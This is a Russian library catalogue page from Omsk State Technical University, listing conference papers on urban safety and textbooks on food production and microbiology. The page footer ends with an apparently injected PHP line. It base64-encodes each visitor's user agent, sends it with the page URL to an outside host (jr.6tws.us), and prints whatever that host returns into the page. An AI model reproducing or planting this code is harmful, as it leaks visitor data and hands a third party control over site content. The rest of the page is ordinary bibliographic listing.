  • Долматов, К. Д. Использование математического маятника при изучении гравитационных аномалий земли с помощью информационных технологий / К. Д. Долматов, И. С. Пашкова, И. Ю. Шрейнер. - с.496-499. - Библиогр. в конце ст. : рис.
    Кл. слова: Свободное падение
  • Мельник, А. В. Оптимизация маршрута с использованием информационных технологий / А. В. Мельник, И. С. Пашкова, И. Ю. Шрейнер. - с.500-503.. - Библиогр. в конце ст.
    Кл. слова: Граф
  • Гертер, А. С. Информационные технологии в обеспечении безопасности на общественном транспорте / А. С. Гертер. - с.504-507.. - Библиогр. в конце ст.
  • Александрова, О. В. Безопасная интеллектуальная транспортная инфраструктура / О. В. Александрова. - с.508-511. - Библиогр. в конце ст. : граф.
    Кл. слова: Эффективность, Инновации
  • Каримова, Я. Г. Использование информационных технологий в обеспечении безопасности городских развлекательных центров г. Омска / Я. Г. Каримова, А. И. Ковалев. - с.512-515. - Библиогр. в конце ст. : табл.
    Кл. слова: Система безопасности, Интеграции
  • Кравченко, Д. Н. Организация безопасности в проведении массовых спортивных мероприятий с использованием новых информационных технологий / Д. Н. Кравченко, В. В. Лебедева. - с.516-518.. - Библиогр. в конце ст.
    Кл. слова: Тестирование, Обработка данных, Анализ
  • Каримова, Я. Г. Безопасный «Умный дом» / Я. Г. Каримова, В. В. Павлухин. - с.519-521.. - Библиогр. в конце ст.
    Кл. слова: Домашняя автоматизация, Видеонаблюдение, Ресурсосбережение
  • Волынкина, М. А. «Smart» технологии в быту / М. А. Волынкина, С. А. Основина. - с.522-523.. - Библиогр. в конце ст.
    Кл. слова: Умные технологии, Современные технологии, Технологии, упрощающие жизнь
  • Апарина, Г. С. Безопасность персональных данных / Г. С. Апарина, В. А. Степанюк. - с.524-527. - Библиогр. в конце ст. : граф.
    Кл. слова: Защита, Личностная информация
  • Земит, М. С. Анализ использования информационных технологий в организации безопасности городской среды г. Омска / М. С. Земит. - с.528-531. - Библиогр. в конце ст. : граф.
  • Савченко, А. В. Анализ обеспечения информационной безопасности детей и подростков с использованием статистических данных / А. В. Савченко. - с.532-534.. - Библиогр. в конце ст.
    Кл. слова: Право
  • Силко, Д. А. Исследование систем экомониторинга в городе Омске / Д. А. Силко, В. Ю. Ночвин. - с.535-537.. - Библиогр. в конце ст.
    Кл. слова: Экологическая безопасность, Информационные технологии
  • Моторина, Е. А. Анализ факторов риска для жизни и здоровья студенческой молодежи / Е. А. Моторина, Н. В. Губарева. - с.538-541. - Библиогр. в конце ст. : граф.
    Кл. слова: Безопасность жизни, Студенты
  • Диденко, Т. П. Проблема обеспечения безопасности на тренировочных занятиях и соревнованиях по силовому экстриму / Т. П. Диденко [и др.]. - с.542-545. - Библиогр. в конце ст. : граф.
    Другие авторы: Захаров А. В., Зверев С. Л., Литманович А. В., Воронова М. В.
    Кл. слова: Спортивная травма, Соревновательные упражнения
  • Колганова, А. М. Загрязнители окружающей среды и их канцерогенное влияние на здоровье населения города Сургута / А. М. Колганова. - с.546-551. - Библиогр. в конце ст. : граф.
    Кл. слова: Онкология, Экология
  • Смирнов, И. Ю. Использование оздоровительных занятий на нестабильных платформах в качестве профилактики и предотвращения появления болей в области спины / И. Ю. Смирнов, Н. В. Губарева. - с.552-555. - Библиогр. в конце ст. : граф.
    Кл. слова: Реабилитация
  • Мантуров, Д. В. Снижение влияния факторов риска при формировании здорового образа и повышения уровня физической подготовки школьников средствами современных видов танца / Д. В. Мантуров, А. В. Кардаш, Н. В. Губарева. - с.556-560. - Библиогр. в конце ст. : граф.
    Кл. слова: Выносливость, Гибкость
  • Нигрей, А. А. Анализ состояния безопасности дорожного движения в Омской области / А. А. Нигрей. - с.561-566. - Библиогр. в конце ст. : граф.
    Кл. слова: ДТП, Аварийность
  • Абдрахманова, Д. Т. Информатизация и ее воздействие на состояние здоровья студентов высшего учебного заведения / Д. Т. Абдрахманова, Э. Э. Банникова. - с.567-572. - Библиогр. в конце ст. : граф.
    Кл. слова: Нарушение зрения
  • Валитов, Т. Р. Анализ воздействия загрязнения окружающей среды на здоровье населения на примере города Омска / Т. Р. Валитов. - с.587-590. - Библиогр. в конце ст. : граф.
    Кл. слова: Риск, Загрязнение воздуха
  • Баймаков, Г. С. Обеспечение профилактики травматизма средствами координационной подготовки юных футболистов / Г. С. Баймаков. - с.573-576.. - Библиогр. в конце ст.
    Кл. слова: Профилактика, футбол
  • Баймакова, Ю. С. Методика лечебной гимнастики при профессиональной бронхиальной астме у мужчин и женщин / Ю. С. Баймакова, И. Г. Таламова. - с.577-581. - Библиогр. в конце ст. : табл.
    Кл. слова: Дыхательная гимнастика, Спирометрия
  • Лукошина, К. А. Активный зимний отдых / К. А. Лукошина. - с.582-583.. - Библиогр. в конце ст.
    Кл. слова: Коньки, Лыжи, Тюбинг
  • Коваленко, Д. Д. Роль физической культуры в формировании здорового образа жизни / Д. Д. Коваленко, А. В. Колесов. - с.584-586.. - Библиогр. в конце ст.
    Кл. слова: Физическая активность
  • Валитов, Т. Р. Анализ воздействия загрязнения окружающей среды на здоровье населения на примере города Омска / Т. Р. Валитов. - с.587-590. - Библиогр. в конце ст. : граф.
    Кл. слова: Риск, Воздух
  • Арпентьева, М. Р. Городские медиа и безопасность городской среды / М. Р. Арпентьева. - с.591-597.. - Библиогр. в конце ст.
    Кл. слова: СМИ, Мусорная культура
  • Тюменцева, Е. Ю. Исследование качества шампуней по физико-химическим и органолептическим показателям / Е. Ю. Тюменцева, О. В. Подкошаная. - с.598-601. - Библиогр. в конце ст. : граф.
    Кл. слова: Состав
  • Леонтьева, И. Г. Оценка показателей безопасности чулочно-носочных изделий для детей / И. Г. Леонтьева, Е. А. Заец. - с.602-605. - Библиогр. в конце ст. : табл.
    Кл. слова: Товары для детей, Качество, Фальсификация
  • Тюменцева, Е. Ю. Исследование свойств современных экологических тканей / Е. Ю. Тюменцева, Н. Ф. Мамелина. - с.606-610.. - Библиогр. в конце ст.
    Кл. слова: Экоткани, Состав, Характеристика
  • Тюменцева, Е. Ю. Исследование качества детских овощных консервов различных производителей по микробиологическим показателям / Е. Ю. Тюменцева. - с.611-614. - Библиогр. в конце ст. : табл.
    Кл. слова: Загрязнения, Качество продуктов питания
  • Белякова, А. С. Контроль психомоторной подготовки начинающих легкоатлетов с разным морфотипологическим статусом для обоснования выбора дальнейшей специализации / А. С. Белякова, И. Ю. Горская. - с.615-619. - Библиогр. в конце ст. : табл.
    Кл. слова: Соматотип, Начинающие легкоатлеты
  • Синбурина, М. А. Исследование качества яблочного сока по органолептическим и физико-химическим показателям / М. А. Синбурина. - с.620-624. - Библиогр. в конце ст. : табл.
    Кл. слова: Сахароза, рН-среда
Держатели документа (Информация об экземплярах) 

Работы студентов, магистрантов, аспирантов и ученых, представленные в сборнике, посвящены проблемам обеспечения безопасности в городской среде, повышения культуры безопасного поведения, изучения приемов само- и взаимопомощи, направлены на стимулирование творческого потенциала молодежи.

Издание адресовано преподавателям, научным работникам, студентам, магистрантам и аспирантам вузов, а также широкому кругу читателей, интересующихся проблемами безопасности городской среды.

Полный текст
9. 
Четверикова, Ольга Петровна. Сырье и ингредиенты хлебопекарного и кондитерского производства [Текст] / О. П. Четверикова, 2018. - 666 с.
Ключевые слова 
СПРАВОЧНИК -- ПШЕНИЧНАЯ -- МУКА -- РЖАНАЯ -- КРУПА -- ХЛОПЬЯ -- САХАР -- СИРОП -- ПАТОКА -- ГЛЮКОЗА -- ДЕКСТРОЗА -- ФРУКТОЗА -- ЛАКТОЗА -- МЕД -- ЖИР -- МАСЛО -- ВОДА -- ДРОЖЖИ -- ЗАКВАСКА -- МОЛОКО -- ТВОРОГ -- ИЗОЛЯТ -- ЯЙЦО -- КРАХМАЛ -- ПОДСЛАСТИТЕЛЬ -- САХАРОЗАМЕНИТЕЛЬ -- РАЗРЫХЛИТЕЛЬ -- УЛУЧШИТЕЛЬ -- ФЕРМЕНТ -- КЛЕЙКОВИНА -- БЕЛОК -- СОЛЬ -- ЭМУЛЬГАТОР -- АНТИОКСИДАНТ -- ГИДРОКОЛЛОИДЫ -- ПИЩЕВОЕ -- ВОЛОКНО -- КЛЕТЧАТКА -- ФРУКТЫ -- ЯГОДЫ -- СУХОФРУКТЫ -- ЦУКАТЫ -- ОРЕХ -- КУНЖУТ -- СОЛОД -- КАКАО -- КРАСИТЕЛЬ
Держатели документа (Информация об экземплярах) 
10. 
Машины и аппараты пищевых производств [Текст] : учеб. для вузов по направлению подгот. дипломир. специалистов "Пищевая инженерия": в 3 кн. / под ред. В. А. Панфилова. Кн. 1 / С. Т. Антипов [и др.], 2009. - 607, [1] с.
Держатели документа (Информация об экземплярах) 

В учебнике обобщены сведения о состоянии и перспективе технического обеспечения пищевых и перерабатывающих производств. Особое внимание уделено проблемам, стоящим перед специалистами в деле повышения эффективности машинных технологий продуктов питания. Представлены современные формы организации технологических комплексов, а также машинно-аппаратурные схемы линий для переработки сельхозсырья растительного и животного происхождения, а также морепродуктов в продукты питания. Изложены научные основы реализуемых процессов и инженерные расчеты важнейших характеристик машин и аппаратов. Описано оборудование для ведения механических, гидромеханических, тепломассообменных и биотехнологических процессов, а также для дозирования и упаковывания пищевых продуктов. Рассмотрены методы организации технического обслуживания и ремонта оборудования, приоритетные научные проблемы и инженерные задачи развития пищевых производств, вопросы организации создания новой техники.

11. 
Мармузова Л. В. Основы микробиологии, санитарии и гигиены в пищевой промышленности [Текст] : учеб. для учреждений нач. проф. образования / Л. В. Мармузова, 2004. - 132 с.
12. 
Территориальные единичные расценки на монтаж оборудования. Омская область [Текст]. Ч. 28 : Оборудование предприятий пищевой промышленности, 2010. - 56 с.
Ключевые слова 
ТЕРм 81-03-28-2001 -- СМЕТНЫЙ -- НОРМАТИВ -- ДОЗИРОВАНИЕ -- МУКА -- СМЕШИВАНИЕ -- ПРИГОТОВЛЕНИЕ -- ДРОЖЖИ -- ДЕЖИ -- ТЕСТО -- СУШИЛКА -- СУХАРЬ -- РАСФАСОВКА -- САХАР -- МОЙКА -- МЕШАЛКА -- ЛОВУШКА -- ФИЛЬТРАЦИОННОЕ -- ВОДООТДЕЛИТЕЛЬ -- ВОДООТВОДЧИК -- ПРЕСС -- ДИФФУЗИОННОЕ -- ПЕЧЬ -- РАЗДЕЛКА -- ТУША -- ЛЬДОГЕНЕРАТОР -- ПОСОЛЬНОЕ -- РЕЗЕРВУАР -- МОЛОКО -- ТЕРМООБРАБОТКА -- СЛИВКИ -- МАСЛО -- СЫР -- МОРОЖЕНОЕ -- КАЗЕИН -- ДРОБИЛКА -- УКУПОРКА -- МАКАРОНЫ -- КОНФЕТЫ -- ВИНОГРАД -- СПИРТ -- ПИВО -- ТАБАК -- ЧАЙ -- КАРТОНАЖНЫЕ -- ОБЩЕСТВЕННОЕ -- ПИТАНИЕ -- ЖЕСТЯНАЯ -- ТАРА -- СОЛОД -- СУСЛО
Держатели документа (Информация об экземплярах) 
13. 
Егорова, Татьяна Алексеевна. Основы биотехнологии [Текст] : учеб. пособие для вузов по специальности "Биология" / Т. А. Егорова, С. М. Клунова, Е. А. Живухина, 2006. - 207, [1] с.
Ключевые слова 
УЧЕБНИК И ПОСОБИЕ * -- КОРМОВОЙ -- БЕЛОК -- ДРОЖЖИ -- БАКТЕРИЯ -- ПИЩЕВАЯ -- ПРОМЫШЛЕННОСТЬ -- ВОДОРОСЛЬ -- ГРИБ -- БИОГАЗ -- КСЕНОБИОТИК -- ЗАГРЯЗНЯЮЩЕЕ -- ВЕЩЕСТВО -- ОКРУЖАЮЩАЯ -- СРЕДА -- ЭТАНОЛ -- ОЧИСТКА -- СТОЧНАЯ -- ВОДА -- МЕТАБОЛИТ -- АМИНОКИСЛОТА -- ВИТАМИН -- ОРГАНИЧЕСКАЯ -- КИСЛОТА -- АНТИБИОТИК -- СТЕРОИД -- ФЕРМЕНТ -- ЭНЗИМОЛОГИЯ -- ИММОБИЛИЗАЦИЯ -- КЛЕТКА -- ЦЕЛЛЮЛОЗА -- ГЛЮКОЗА -- ДНК -- КЛОНИРОВАНИЕ -- ИНСУЛИН -- СОМАТОТРОПИН -- ИНТЕРФЕРОН -- ТРАНСГЕННАЯ -- ФОТОСИНТЕЗ -- РАСТЕНИЕ -- УСТОЙЧИВОСТЬ -- ФИТОПАТОГЕН -- ГЕРБИЦИД -- НАСЕКОМЫЕ -- АБИОТИЧЕСКИЙ -- СТРЕСС -- ТКАНЬ -- КЛЕТКА -- КУЛЬТИВИРОВАНИЕ -- КАЛЛУСОГЕНЕЗ -- МОРФОГЕНЕЗ -- ТОТИПОТЕНТНОСТЬ -- ПРОТОПЛАСТ -- МИКРОРАЗМНОЖЕНИЕ -- КРИОСОХРАНЕНИЕ

В книге изложены и обобщены традиционные и новейшие технологии, основанные на достижениях <биохимии>, <молекулярной> и <клеточной> <биологии>, рассмотрены социально-экономические проблемы и перспективы развития биотехнологии в третьем тысячелетии.

14. 
Основы микробиологии и биотехнологии [Текст] : Метод. указания к лаб. работам по специальности 320700 "Охрана окружаюшей среды и рациональное использование природных ресурсов" / ОмГТУ, 2003. - 39 с.
Держатели документа (Информация об экземплярах) 
Полный текст
15. 
Мудрецова-Висс, Клавдия Алексеевна. Микробиология, санитария и гигиена [Текст] : Учеб. для вузов по специальностям: "Товароведение и экспертиза товаров", "Технология продуктов общественного питания", "Стандартизация и сертификация" / К. А. Мудрецова-Висс, А. А. Кудряшова, В. П. Дедюхина, 2001. - 378 с.
16. 
Лысковцов, Иван Васильевич. Разделение жидкостей на центробежных аппаратах [Текст] / И. В. Лысковцов, 1968. - 143, [1] с.
Держатели документа (Информация об экземплярах) 
17. 
Пехташева, Елена Леонидовна. Биоповреждения и защита непродовольственнах товаров [Текст] : Учебник гриф-УМО / Е. Л. Пехташева, 2002. - 224 с.
Держатели документа (Информация об экземплярах) 
18. 
Микробиология, гигиена и санитария в торговле [Текст] : Учеб. пособие для студ. учеб. заведений сред. проф. образования и уч-ся учеб. заведений нач. проф. образования / Автор-сост. Т. П. Трушина, 2000. - 315,[1] с.
19. 
Основы микробиологии, физиологии питания и санитарии для общепита [Текст] : Учеб. пособие для студ. учеб. заведений сред. проф. образования / Авт. сост. Т. П. Трушина, 2000. - 382 с.
Ключевые слова 
БАКТЕРИЯ -- ГРИБЫ плесневые -- ДРОЖЖИ -- ВИРУС -- Фаги -- МИКРООРГАНИЗМ -- Брожение -- ФИЗИОЛОГИЯ питания -- МИКРОФЛОРА -- Пищеварение -- Белки -- Жиры -- Углеводы -- Витамины -- ВЕЩЕСТВА МИНЕРАЛЬНЫЕ -- Обмен веществ -- Режим питания -- ПИТАНИЕ РАЦИОНАЛЬНОЕ -- ПИТАНИЕ пожилых людей -- ПИТАНИЕ ДЕТЕЙ -- ПИТАНИЕ ПОДРОСТКОВ -- ПИТАНИЕ студентов -- ПИТАНИЕ ДИЕТИЧЕСКОЕ -- ПИТАНИЕ ЛЕЧЕБНОЕ -- ГИГИЕНА общественного питания -- ПРАВИЛА САНИТАРНЫЕ в общепите -- НАДЗОР санитарно-пищевой
20. 
Римарева, Любовь Вячеславовна. Теоретические и практические основы биотехнологии дрожжей [Текст] : учеб. пособие для вузов по специальности 260204 "Технология бродильных производств и виноделие" направления подгот. дипломир. специалиста 260200 "Производство продуктов питания из растительного сырья" / Л. В. Римарева, 2010. - 251 с.
Держатели документа (Информация об экземплярах) 

В настоящее время открываются широкие перспективы эффективного использования дрожжевых культур в различных биотехнологических процессах при производстве спирта, пива, вина, кваса, хлеба, пищевого белка, биологически активных пищевых добавок. В учебнике представлены теоретические и практические основы биотехнологии спиртовых дрожжей, даются основные представления о современных методах получения активных рас дрожжей, обладающих новыми морфолого-физиологическими и культурными свойствами. В книге обобщены достижения современной науки в области биологии, ферментологии и микробиологии дрожжевой клетки. Подробно освещены все этапы промышленного производства и применения дрожжей в спиртовой отрасли, а также ферментных препаратов для биокатализа полимеров зернового сырья в процессе приготовления зернового сусла для генерации дрожжей и спиртового брожения. Особое внимание уделено вопросам совершенствования биотехнологических процессов спиртового производства, качеству зернового сырья и способам ферментативной обработки в зависимости от вида зерновой культуры.

21. 
Матюхина, Зинаида Петровна. Товароведение пищевых продуктов [Текст] : Учеб. для учеб. заведений нач. проф. образования / З. П. Матюхина, Э. П. Королькова, 1999. - 272 с.


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3219 - 02.04.2020
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.06 с.14 запросов, 0.62c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;